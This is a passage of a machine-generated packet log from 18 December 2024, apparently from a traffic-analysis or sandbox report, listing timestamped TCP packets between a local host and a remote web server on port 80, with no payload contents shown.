                                                        Dec 18, 2024 09:31:28.161895990 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.162092924 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.162147999 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.162707090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.162830114 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.163089037 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.163671970 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.163790941 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.163847923 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.164627075 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.164741993 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.164833069 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.165608883 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.165724039 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.165855885 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.166599989 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.166769981 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.166867018 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.167511940 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.167658091 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.167726994 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.168529987 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.168947935 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.169078112 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.169517994 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.169655085 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.169728041 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.170413017 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.170607090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.170685053 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.171401978 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.171500921 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.171574116 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.172395945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.172506094 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.172560930 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.173365116 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.173604965 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.173664093 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.174294949 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.174451113 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.174504042 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.175287008 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.175385952 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.175472021 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.176223993 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.176337004 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.176584005 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.177258015 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.177506924 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.177611113 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.178174973 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.178386927 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.178541899 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.179124117 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.179234028 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.179341078 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.180072069 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.180131912 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.180192947 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.181076050 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.181180000 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.181235075 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.182065010 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.182138920 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.182238102 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.183007002 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.183101892 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.183197975 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.183990002 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.184246063 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.184330940 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.184943914 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.185031891 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.185100079 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.185919046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.186013937 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.186120987 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.186856031 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.186970949 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.187089920 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.187841892 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.187901020 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.188005924 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.188780069 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.188992023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.189038992 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.189779997 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.235881090 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.322771072 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.322788000 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.322932005 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.323165894 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.323297024 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.323435068 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.324146032 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.324229956 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.324392080 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.325115919 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.325337887 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.325388908 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.326066017 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.326139927 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.326246977 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.327081919 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.327158928 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.327244997 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.328026056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.328125954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.328255892 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.328999043 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.329138041 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.329338074 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.329962969 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.330048084 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.330137968 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.330935955 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.331046104 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.331094027 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.339776993 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.339840889 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.339967966 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.340193987 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.340305090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.340367079 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.341177940 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.341342926 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.341392994 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.342138052 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.342314959 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.342401981 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.343105078 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.343202114 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.343255043 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.344065905 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.344221115 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.344319105 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.345047951 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.345206976 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.345360994 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.346200943 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.346318007 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.346406937 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.347213984 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.347256899 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.347335100 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.348103046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.348115921 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.348193884 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.348942041 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.349029064 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.349200010 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.349955082 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.350037098 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.350271940 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.350861073 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.350981951 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.351031065 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.352005005 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.352125883 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.352397919 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.352845907 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.352927923 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.353070974 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.353733063 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.353837013 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.353888035 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.354759932 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.354845047 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.354962111 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.355679035 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.355798960 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.355849028 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.356654882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.356762886 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.356916904 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.357623100 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.357770920 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.357988119 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.358603954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.358735085 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.359052896 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.359556913 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.359756947 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.359848976 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.360760927 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.360866070 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.360954046 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.361695051 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.361802101 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.361855984 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.362636089 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.362718105 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.362793922 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.363471985 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.363571882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.363723993 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.364381075 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.364469051 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.364547014 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.365344048 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.365478039 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.365720034 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.366293907 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.366425037 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.366543055 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.367367029 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.367671967 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.367798090 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.368314028 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.368432045 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.368585110 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.369292021 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.369426966 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.369482994 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.370189905 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.370289087 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.370409012 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.371203899 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.371299028 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.371357918 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.372180939 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.372282982 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.372334003 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.373112917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.373177052 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.373235941 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.374085903 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.374221087 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.374311924 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.375116110 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.375243902 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.375293970 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.375999928 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.376106024 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.376184940 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.376992941 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.377074957 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.377307892 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.377908945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.377957106 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.378060102 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.378887892 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.379055977 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.379111052 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.379853964 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.380228996 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.380297899 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.380784035 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.423340082 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.514020920 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.514297962 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.514353037 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.514391899 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.514619112 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.514776945 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.515326023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.515410900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.515461922 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.516341925 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.516355038 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.516417980 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.517205000 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.517219067 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.517386913 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.518244028 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.518258095 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.518378019 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.519103050 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.519249916 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.519310951 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.520097971 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.520203114 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.520375967 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.521024942 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.521182060 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.521245956 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.522000074 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.522090912 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.522234917 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.523149014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.531084061 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.531105995 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.531193018 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.531383991 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.531399012 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.531523943 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.532320023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.532334089 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.532442093 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.533337116 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.533350945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.533715963 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.534239054 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.534493923 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.534543037 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.535214901 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.535274982 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.535295010 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.536124945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.536196947 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.536237001 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.537138939 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.537197113 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.537231922 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.538079023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.538129091 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.538248062 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.539041996 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.539112091 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.539123058 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.540127039 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.540203094 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.540232897 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.540983915 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.541089058 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.541122913 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.542062044 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.542114973 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.542135954 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.543673038 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.543735027 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.543891907 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.545418978 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.545485973 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.545609951 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.545948029 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.546009064 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.546041965 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.546658039 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.546669006 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.546725035 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.547173977 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.547220945 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.547259092 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.548000097 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.548079967 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.548088074 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.548758030 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.548808098 CET8049706139.99.188.124192.168.2.8
